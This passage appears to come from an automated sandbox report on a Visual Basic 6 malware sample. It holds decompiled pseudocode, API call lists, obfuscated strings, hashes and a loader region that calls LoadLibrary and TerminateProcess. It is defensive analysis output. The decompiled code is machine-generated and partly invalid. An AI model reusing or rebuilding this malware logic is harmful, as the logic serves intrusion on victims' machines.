				_push( &_v56);
				_push(3);
				L004013F2();
				_t196 = _v116;
				if(_t196 != 0) {
					if( *0x414650 != 0) {
						_v156 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v156 = 0x414650;
					}
					_t81 =  &_v156; // 0x414650
					_v92 =  *((intOrPtr*)( *_t81));
					_t83 =  &_v56; // 0x414650
					_t215 =  *((intOrPtr*)( *_v92 + 0x4c))(_v92, _t83);
					asm("fclex");
					_v96 = _t215;
					if(_v96 >= 0) {
						_v160 = _v160 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x404b90);
						_push(_v92);
						_push(_v96);
						L00401434();
						_v160 = _t215;
					}
					_v100 = _v56;
					_v72 = 0x17;
					_v80 = 2;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t221 =  *((intOrPtr*)( *_v100 + 0x1c))(_v100, 0x10,  &_v60);
					asm("fclex");
					_v104 = _t221;
					if(_v104 >= 0) {
						_v164 = _v164 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x404cd4);
						_push(_v100);
						_push(_v104);
						L00401434();
						_v164 = _t221;
					}
					_v128 = _v60;
					_t112 =  &_v60;
					 *_t112 = _v60 & 0x00000000;
					_t259 =  *_t112;
					_push(_v128);
					_t196 =  &_v32;
					_push(_t196);
					L00401440();
					_t232 =  &_v56;
					L0040142E();
				}
				asm("fldz");
				_push(_t232);
				_push(_t232);
				_v144 = _t263;
				L004013FE();
				L00401404();
				asm("fcomp qword [0x401188]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t259 != 0) {
					if( *0x414650 != 0) {
						_v168 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v168 = 0x414650;
					}
					_t119 =  &_v168; // 0x414650
					_v92 =  *((intOrPtr*)( *_t119));
					_t202 =  *((intOrPtr*)( *_v92 + 0x1c))(_v92,  &_v56);
					asm("fclex");
					_v96 = _t202;
					if(_v96 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x404b90);
						_push(_v92);
						_push(_v96);
						L00401434();
						_v172 = _t202;
					}
					_v100 = _v56;
					_v72 = _v72 & 0x00000000;
					_v80 = 2;
					_t204 = 0x10;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004013F8();
					_t205 =  &_v60;
					L00401440();
					_t208 =  *((intOrPtr*)( *_v100 + 0x58))(_v100, _t205, _t205, _t204, _v36, 0x404bb0);
					asm("fclex");
					_v104 = _t208;
					if(_v104 >= 0) {
						_v176 = _v176 & 0x00000000;
					} else {
						_push(0x58);
						_push(0x404bc0);
						_push(_v100);
						_push(_v104);
						L00401434();
						_v176 = _t208;
					}
					_push( &_v56);
					_t196 =  &_v60;
					_push(_t196);
					_push(2);
					L004013F2();
				}
				_v28 = 0x4c34;
				asm("wait");
				_push(0x412230);
				L0040142E();
				L0040142E();
				return _t196;
			}

0x00411d66
0x00411d69
0x00411d78
0x00411d84
0x00411d8c
0x00411d8f
0x00411d96
0x00411da5
0x00411daf
0x00411dc9
0x00411db1
0x00411db1
0x00411db6
0x00411dbb
0x00411dc0
0x00411dc0
0x00411de4
0x00411de8
0x00411ded
0x00411dfc
0x00411e02
0x00411e04
0x00411e0b
0x00411e2a
0x00411e0d
0x00411e0d
0x00411e12
0x00411e17
0x00411e1a
0x00411e1d
0x00411e22
0x00411e22
0x00411e38
0x00411e55
0x00411e3a
0x00411e3a
0x00411e3f
0x00411e44
0x00411e49
0x00411e49
0x00411e79
0x00411e7d
0x00411e82
0x00411e91
0x00411e94
0x00411e96
0x00411e9d
0x00411eb9
0x00411e9f
0x00411e9f
0x00411ea1
0x00411ea6
0x00411ea9
0x00411eac
0x00411eb1
0x00411eb1
0x00411ec7
0x00411ee4
0x00411ec9
0x00411ec9
0x00411ece
0x00411ed3
0x00411ed8
0x00411ed8
0x00411efe
0x00411f08
0x00411f0c
0x00411f11
0x00411f20
0x00411f26
0x00411f28
0x00411f2f
0x00411f4e
0x00411f31
0x00411f31
0x00411f36
0x00411f3b
0x00411f3e
0x00411f41
0x00411f46
0x00411f46
0x00411f55
0x00411f5a
0x00411f5d
0x00411f60
0x00411f63
0x00411f64
0x00411f69
0x00411f6a
0x00411f6d
0x00411f70
0x00411f71
0x00411f76
0x00411f77
0x00411f7c
0x00411f81
0x00411f84
0x00411f97
0x00411f9e
0x00411fa2
0x00411fa6
0x00411faa
0x00411fab
0x00411fad
0x00411fb8
0x00411fbc
0x00411fc0
0x00411fc1
0x00411fc3
0x00411fcb
0x00411fd1
0x00411fde
0x00411ffb
0x00411fe0
0x00411fe0
0x00411fe5
0x00411fea
0x00411fef
0x00411fef
0x00412005
0x0041200d
0x00412010
0x0041201c
0x0041201f
0x00412021
0x00412028
0x00412044
0x0041202a
0x0041202a
0x0041202c
0x00412031
0x00412034
0x00412037
0x0041203c
0x0041203c
0x0041204e
0x00412051
0x00412058
0x00412066
0x00412070
0x00412071
0x00412072
0x00412073
0x0041207c
0x0041207f
0x00412081
0x00412088
0x004120a4
0x0041208a
0x0041208a
0x0041208c
0x00412091
0x00412094
0x00412097
0x0041209c
0x0041209c
0x004120ae
0x004120b1
0x004120b1
0x004120b1
0x004120b5
0x004120b8
0x004120bb
0x004120bc
0x004120c1
0x004120c4
0x004120c4
0x004120c9
0x004120cb
0x004120cc
0x004120cd
0x004120d0
0x004120d5
0x004120da
0x004120e0
0x004120e2
0x004120e3
0x004120f0
0x0041210d
0x004120f2
0x004120f2
0x004120f7
0x004120fc
0x00412101
0x00412101
0x00412117
0x0041211f
0x0041212e
0x00412131
0x00412133
0x0041213a
0x00412156
0x0041213c
0x0041213c
0x0041213e
0x00412143
0x00412146
0x00412149
0x0041214e
0x0041214e
0x00412160
0x00412163
0x00412167
0x00412170
0x00412171
0x0041217b
0x0041217c
0x0041217d
0x0041217e
0x00412187
0x0041218d
0x00412191
0x0041219f
0x004121a2
0x004121a4
0x004121ab
0x004121c7
0x004121ad
0x004121ad
0x004121af
0x004121b4
0x004121b7
0x004121ba
0x004121bf
0x004121bf
0x004121d1
0x004121d2
0x004121d5
0x004121d6
0x004121d8
0x004121dd
0x004121e0
0x004121e6
0x004121e7
0x00412222
0x0041222a
0x0041222f

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00411D84
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00411DBB
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411DE8
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,000000A8), ref: 00411E1D
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00411E44
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411E7D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B80,00000048), ref: 00411EAC
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00411ED3
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411F0C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000198), ref: 00411F41
__vbaStrToAnsi.MSVBVM60(?,?,?,0031B5DF), ref: 00411F64
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,0031B5DF), ref: 00411F71
__vbaSetSystemError.MSVBVM60(00067954,00000000,?,?,00000000,?,?,?,0031B5DF), ref: 00411F84
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00067954,00000000,?,?,00000000,?,?,?,0031B5DF), ref: 00411FAD
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,?,?,?,004012C6), ref: 00411FC3
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,?,?,?,?,?,?,004012C6), ref: 00411FEA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,0000004C), ref: 00412037
__vbaChkstk.MSVBVM60(?), ref: 00412066
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404CD4,0000001C), ref: 00412097
__vbaObjSet.MSVBVM60(?,?), ref: 004120BC
__vbaFreeObj.MSVBVM60(?,?), ref: 004120C4
#583.MSVBVM60(?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004120D0
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004120D5
__vbaNew2.MSVBVM60(00404BA0,00414650,?,?,?,?,?,?,?,?,?,?,004012C6), ref: 004120FC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B90,0000001C), ref: 00412149
__vbaChkstk.MSVBVM60(00000000,?,00404B90,0000001C), ref: 00412171
__vbaCastObj.MSVBVM60(?,00404BB0), ref: 00412187
__vbaObjSet.MSVBVM60(?,00000000,?,00404BB0), ref: 00412191
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BC0,00000058), ref: 004121BA
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004121D8
__vbaFreeObj.MSVBVM60(00412230), ref: 00412222
__vbaFreeObj.MSVBVM60(00412230), ref: 0041222A

Strings

PFA, xrefs: 00412005
4L, xrefs: 004121E0
PFA, xrefs: 00412117
PFA, xrefs: 00412010, 00412013

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$Free$New2$ChkstkList$Ansi$#583CastErrorSystem
String ID: 4L$PFA$PFA$PFA
API String ID: 3328130910-2069714423
Opcode ID: 072e42fb470d5d376b73eecdbd3074ac6e1c99ec252fb79416c6bb79bfc99444
Instruction ID: f12e27c406625032cdab35176454a51f45743ded871e56124498aa8f6c867c87
Opcode Fuzzy Hash: 072e42fb470d5d376b73eecdbd3074ac6e1c99ec252fb79416c6bb79bfc99444
Instruction Fuzzy Hash: F9E1F7B1D00218AFDB10EFE1D845BDDBBB5BF08308F10406AE209BB2A1D7799995DF19

Uniqueness

Uniqueness Score: -1.00%

Function 00413286, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00413286(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v80;
				signed int _v84;
				char* _t54;
				signed int _t58;
				char* _t59;
				char* _t65;
				signed int _t69;
				intOrPtr _t70;
				intOrPtr _t88;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t88;
				_push(0x40);
				L004012C0();
				_v12 = _t88;
				_v8 = 0x4012a8;
				if( *0x414010 != 0) {
					_v72 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v72 = 0x414010;
				}
				_t54 =  &_v32;
				L00401440();
				_v60 = _t54;
				_t58 =  *((intOrPtr*)( *_v60 + 0x180))(_v60,  &_v36, _t54,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x304))( *_v72));
				asm("fclex");
				_v64 = _t58;
				if(_v64 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x180);
					_push(0x404bd0);
					_push(_v60);
					_push(_v64);
					L00401434();
					_v76 = _t58;
				}
				_push(0);
				_push(0);
				_push(_v36);
				_t59 =  &_v52;
				_push(_t59); // executed
				L004013E6(); // executed
				_push(_t59);
				L00401356();
				L004013C2();
				_push(_t59);
				_push(L"Defileret4");
				_push(L"ANTIKLDERNE");
				_push(L"PRAGUE"); // executed
				L0040135C(); // executed
				L004013CE();
				_push( &_v36);
				_push( &_v32);
				_push(2);
				L004013F2();
				L004013E0();
				if( *0x414010 != 0) {
					_v80 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v80 = 0x414010;
				}
				_t65 =  &_v32;
				L00401440();
				_v60 = _t65;
				_t69 =  *((intOrPtr*)( *_v60 + 0x60))(_v60,  &_v56, _t65,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x308))( *_v80));
				asm("fclex");
				_v64 = _t69;
				if(_v64 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x404b5c);
					_push(_v60);
					_push(_v64);
					L00401434();
					_v84 = _t69;
				}
				_t70 = _v56;
				_v24 = _t70;
				L0040142E();
				_push(0x413446);
				return _t70;
			}

0x0041328b
0x00413296
0x00413297
0x0041329e
0x004132a1
0x004132a9
0x004132ac
0x004132ba
0x004132d4
0x004132bc
0x004132bc
0x004132c1
0x004132c6
0x004132cb
0x004132cb
0x004132ef
0x004132f3
0x004132f8
0x00413307
0x0041330d
0x0041330f
0x00413316
0x00413332
0x00413318
0x00413318
0x0041331d
0x00413322
0x00413325
0x00413328
0x0041332d
0x0041332d
0x00413336
0x00413338
0x0041333a
0x0041333d
0x00413340
0x00413341
0x00413349
0x0041334a
0x00413354
0x00413359
0x0041335a
0x0041335f
0x00413364
0x00413369
0x00413371
0x00413379
0x0041337d
0x0041337e
0x00413380
0x0041338b
0x00413397
0x004133b1
0x00413399
0x00413399
0x0041339e
0x004133a3
0x004133a8
0x004133a8
0x004133cc
0x004133d0
0x004133d5
0x004133e4
0x004133e7
0x004133e9
0x004133f0
0x00413409
0x004133f2
0x004133f2
0x004133f4
0x004133f9
0x004133fc
0x004133ff
0x00413404
0x00413404
0x0041340d
0x00413410
0x00413416
0x0041341b
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 004132A1
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 004132C6
__vbaObjSet.MSVBVM60(?,00000000), ref: 004132F3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,00000180), ref: 00413328
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00413341
__vbaStrVarMove.MSVBVM60(00000000), ref: 0041334A
__vbaStrMove.MSVBVM60(00000000), ref: 00413354
#690.MSVBVM60(PRAGUE,ANTIKLDERNE,Defileret4,00000000,00000000), ref: 00413369
__vbaFreeStr.MSVBVM60(PRAGUE,ANTIKLDERNE,Defileret4,00000000,00000000), ref: 00413371
__vbaFreeObjList.MSVBVM60(00000002,?,?,PRAGUE,ANTIKLDERNE,Defileret4,00000000,00000000), ref: 00413380
__vbaFreeVar.MSVBVM60(Defileret4,00000000,00000000), ref: 0041338B
__vbaNew2.MSVBVM60(00403FB4,00414010,Defileret4,00000000,00000000), ref: 004133A3
__vbaObjSet.MSVBVM60(?,00000000), ref: 004133D0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000060), ref: 004133FF
__vbaFreeObj.MSVBVM60(00000000,?,00404B5C,00000060), ref: 00413416

Strings

PRAGUE, xrefs: 00413364
Defileret4, xrefs: 0041335A
ANTIKLDERNE, xrefs: 0041335F

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultMoveNew2$#690CallChkstkLateList
String ID: ANTIKLDERNE$Defileret4$PRAGUE
API String ID: 3142289820-2908185745
Opcode ID: 35f10d9bf2d7de006bc3a33101fd3419d05e0f817c295412c47ff54eb39fd4f8
Instruction ID: 92cb1b3c980927d69a1c03e1806edff3c0d10f8399ba6a1ceff3558799cdbb5c
Opcode Fuzzy Hash: 35f10d9bf2d7de006bc3a33101fd3419d05e0f817c295412c47ff54eb39fd4f8
Instruction Fuzzy Hash: C6511DB1E00208AFDB01EFD1D885FDEBBB8AF08709F50406AF501B72A1DB7865459B59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B67, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00411B67(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				short _v76;
				intOrPtr* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				char* _t67;
				signed int _t71;
				char* _t75;
				signed int _t79;
				char* _t80;
				short _t86;
				void* _t100;
				void* _t102;
				intOrPtr _t103;

				_t103 = _t102 - 0xc;
				 *[fs:0x0] = _t103;
				L004012C0();
				_v16 = _t103;
				_v12 = 0x4011b8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x4c,  *[fs:0x0], 0x4012c6, _t100);
				L004013DA();
				if( *0x414010 != 0) {
					_v88 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v88 = 0x414010;
				}
				_t67 =  &_v40;
				L00401440();
				_v60 = _t67;
				_t71 =  *((intOrPtr*)( *_v60 + 0x160))(_v60,  &_v48, _t67,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x30c))( *_v88));
				asm("fclex");
				_v64 = _t71;
				if(_v64 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x404b5c);
					_push(_v60);
					_push(_v64);
					L00401434();
					_v92 = _t71;
				}
				if( *0x414010 != 0) {
					_v96 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v96 = 0x414010;
				}
				_t75 =  &_v44;
				L00401440();
				_v68 = _t75;
				_t79 =  *((intOrPtr*)( *_v68 + 0x58))(_v68,  &_v52, _t75,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x304))( *_v96));
				asm("fclex");
				_v72 = _t79;
				if(_v72 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x404bd0);
					_push(_v68);
					_push(_v72);
					L00401434();
					_v100 = _t79;
				}
				_push(_v52);
				_push(L"Interessenterne");
				_t80 =  &_v36;
				_push(_t80);
				L004013A4();
				_push(_t80);
				_push(_v48);
				E00404964(); // executed
				_v56 = _t80;
				L004013AA();
				_v76 =  ~(0 | _v56 == 0x0083ed9e);
				L004013CE();
				_push( &_v44);
				_push( &_v40);
				_push(2);
				L004013F2();
				_t86 = _v76;
				if(_t86 == 0) {
					_v28 =  *0x4011b0;
				}
				asm("wait");
				_push(0x411d3f);
				L004013CE();
				return _t86;
			}

0x00411b6a
0x00411b79
0x00411b83
0x00411b8b
0x00411b8e
0x00411b95
0x00411ba4
0x00411bad
0x00411bb9
0x00411bd3
0x00411bbb
0x00411bbb
0x00411bc0
0x00411bc5
0x00411bca
0x00411bca
0x00411bee
0x00411bf2
0x00411bf7
0x00411c06
0x00411c0c
0x00411c0e
0x00411c15
0x00411c31
0x00411c17
0x00411c17
0x00411c1c
0x00411c21
0x00411c24
0x00411c27
0x00411c2c
0x00411c2c
0x00411c3c
0x00411c56
0x00411c3e
0x00411c3e
0x00411c43
0x00411c48
0x00411c4d
0x00411c4d
0x00411c71
0x00411c75
0x00411c7a
0x00411c89
0x00411c8c
0x00411c8e
0x00411c95
0x00411cae
0x00411c97
0x00411c97
0x00411c99
0x00411c9e
0x00411ca1
0x00411ca4
0x00411ca9
0x00411ca9
0x00411cb2
0x00411cb5
0x00411cba
0x00411cbd
0x00411cbe
0x00411cc3
0x00411cc4
0x00411cc7
0x00411ccc
0x00411ccf
0x00411ce2
0x00411ce9
0x00411cf1
0x00411cf5
0x00411cf6
0x00411cf8
0x00411d00
0x00411d06
0x00411d10
0x00411d10
0x00411d13
0x00411d14
0x00411d39
0x00411d3e

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00411B83
__vbaStrCopy.MSVBVM60(?,?,?,?,004012C6), ref: 00411BAD
__vbaNew2.MSVBVM60(00403FB4,00414010,?,?,?,?,004012C6), ref: 00411BC5
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411BF2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404B5C,00000160), ref: 00411C27
__vbaNew2.MSVBVM60(00403FB4,00414010), ref: 00411C48
__vbaObjSet.MSVBVM60(?,00000000), ref: 00411C75
__vbaHresultCheckObj.MSVBVM60(00000000,?,00404BD0,00000058), ref: 00411CA4
__vbaStrToAnsi.MSVBVM60(?,Interessenterne,?), ref: 00411CBE
__vbaSetSystemError.MSVBVM60(?,00000000,?,Interessenterne,?), ref: 00411CCF
__vbaFreeStr.MSVBVM60(?,00000000,?,Interessenterne,?), ref: 00411CE9
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,00000000,?,Interessenterne,?), ref: 00411CF8
__vbaFreeStr.MSVBVM60(00411D3F,?,?,004012C6), ref: 00411D39

Strings

Interessenterne, xrefs: 00411CB5

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultNew2$AnsiChkstkCopyErrorListSystem
String ID: Interessenterne
API String ID: 1669793913-3872970405
Opcode ID: d42e54fabd8195d024aa8f38ca759c693077582d9265cd96fc0f946a98ec5697
Instruction ID: 05969501e37b37899b0c71cc0c2d4ead15d0e49437a80b6eb40ffbda57b9e969
Opcode Fuzzy Hash: d42e54fabd8195d024aa8f38ca759c693077582d9265cd96fc0f946a98ec5697
Instruction Fuzzy Hash: E751E8B1900208EFCB10DFE1D945BDEBBB5BF48704F10446AF601BB2A1D779A945DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00412755, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00412755(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v48;
				char _v64;
				char* _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				char _v112;
				short _v116;
				short _t25;
				short _t28;
				intOrPtr _t37;

				_push(0x4012c6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t37;
				_push(0x64);
				L004012C0();
				_v12 = _t37;
				_v8 = 0x401218;
				_v88 = L"13:13:13";
				_v96 = 8;
				L0040141C();
				_push( &_v48);
				_push( &_v64); // executed
				L0040137A(); // executed
				_v104 = 0xd;
				_v112 = 0x8002;
				_push( &_v64);
				_t25 =  &_v112;
				_push(_t25);
				L00401428();
				_v116 = _t25;
				_push( &_v64);
				_push( &_v48);
				_push(2);
				L00401416();
				_t28 = _v116;
				if(_t28 != 0) {
					_push(0x1f);
					L00401374();
					_v32 = _t28;
				}
				_v28 = 0x8e1ebaf0;
				_v24 = 0x5b06;
				_push(0x412818);
				return _t28;
			}

0x0041275a
0x00412765
0x00412766
0x0041276d
0x00412770
0x00412778
0x0041277b
0x00412782
0x00412789
0x00412796
0x0041279e
0x004127a2
0x004127a3
0x004127a8
0x004127af
0x004127b9
0x004127ba
0x004127bd
0x004127be
0x004127c3
0x004127ca
0x004127ce
0x004127cf
0x004127d1
0x004127d9
0x004127df
0x004127e1
0x004127e3
0x004127e8
0x004127e8
0x004127eb
0x004127f2
0x004127f9
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012C6), ref: 00412770
__vbaVarDup.MSVBVM60 ref: 00412796
#543.MSVBVM60(?,?), ref: 004127A3
__vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?), ref: 004127BE
__vbaFreeVarList.MSVBVM60(00000002,?,?,00008002,?,?,?,?,?), ref: 004127D1
#568.MSVBVM60(0000001F), ref: 004127E3

Strings

13:13:13, xrefs: 00412782

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#543#568ChkstkFreeList
String ID: 13:13:13
API String ID: 981388004-1048696597
Opcode ID: f8f1036a70388d2564c0cf32fc652a405d44c2c85139138b1b7860a427d1a8cd
Instruction ID: 5231e725e9e2b18fe27c6ee286d59d490612957fc54ed35d079e43f9ca50515a
Opcode Fuzzy Hash: f8f1036a70388d2564c0cf32fc652a405d44c2c85139138b1b7860a427d1a8cd
Instruction Fuzzy Hash: FC11FBB1C00248AADB10DFD1C846BDEB7BCEB04704F10852AF111BB1A1D7B856458BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02C10000, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,?,02C10806,?), ref: 02C167E8

Strings

indir=, xrefs: 02C14ADD
$E, xrefs: 02C10501

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: indir=$$E
API String ID: 1029625771-2331090010
Opcode ID: 3d9768dab58a7cc92588dd4d7c94e9542b15d897bc10c7f48a05013cc190c5ba
Instruction ID: 49fd1ef3396fa0a5f720cfb7f563a647692231517bb2af0cb669f8ab8c4c197c
Opcode Fuzzy Hash: 3d9768dab58a7cc92588dd4d7c94e9542b15d897bc10c7f48a05013cc190c5ba
Instruction Fuzzy Hash: F6417D2248C344ADEF286FB14B533AA3BAADF07730F61415ADD530B097D7255A88FE46

Uniqueness

Uniqueness Score: -1.00%

Function 02C10D66, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 02C139D4

Strings

ItY, xrefs: 02C10DB1

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID: ItY
API String ID: 560597551-3798125604
Opcode ID: 81b4e6cf04b5c51c06a1be3704e233e030a7a62a3557b3e15229ef5c68af180b
Instruction ID: ac2bb9b10f4585ec3a4397608c47204ce196297abcd7cfe24582348597ebf00f
Opcode Fuzzy Hash: 81b4e6cf04b5c51c06a1be3704e233e030a7a62a3557b3e15229ef5c68af180b
Instruction Fuzzy Hash: 2441E231A04305AAFF2C1D624E937D913ABDF837A0F790129DD86D71C3D7AAD589AA01

Uniqueness

Uniqueness Score: -1.00%

Function 00401460, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 59%

			_entry_(signed int __eax, signed int* __ebx, intOrPtr* __ecx, void* __edx, void* __esi) {
				intOrPtr* _t65;
				signed char _t69;
				void* _t108;

				_t108 = __edx;
				_push("VB5!6&*"); // executed
				L00401458(); // executed
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax ^ __eax;
				 *__eax =  *__eax + __eax;
				_t65 = __eax + 1;
				 *_t65 =  *_t65 + _t65;
				 *_t65 =  *_t65 + _t65;
				 *_t65 =  *_t65 + _t65;
				_pop(ds);
				asm("sbb ebx, [ebx]");
				asm("invalid");
				_push(ss);
				_push(__ebx);
				asm("scasb");
				 *__ecx =  *__ecx + __ecx;
				 *__ecx =  *__ecx + __ecx;
				 *__ecx =  *__ecx + __ecx;
				 *__ecx =  *__ecx + __ecx;
				 *__ecx =  *__ecx + __ecx;
				 *__ecx =  *__ecx + __ecx;
				_t69 = 0x000000e9 &  *__ebx;
				_push(_t69);
				if (0xe9 < 0) goto L3;
				asm("outsd");
			}

0x00401460
0x00401460
0x00401465
0x0040146a
0x0040146c
0x0040146e
0x00401470
0x00401472
0x00401474
0x00401475
0x00401477
0x00401479
0x0040147f
0x00401480
0x00401487
0x00401489
0x0040148a
0x0040148b
0x0040148c
0x0040148e
0x00401490
0x00401492
0x00401494
0x00401496
0x0040149a
0x0040149c
0x0040149d
0x0040149e

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401465

Strings

VB5!6&*, xrefs: 00401460

Memory Dump Source

Source File: 00000000.00000002.373215286.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.373209137.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.373231362.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373237557.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.373244082.0000000000419000.00000002.00020000.sdmp Download File

Similarity

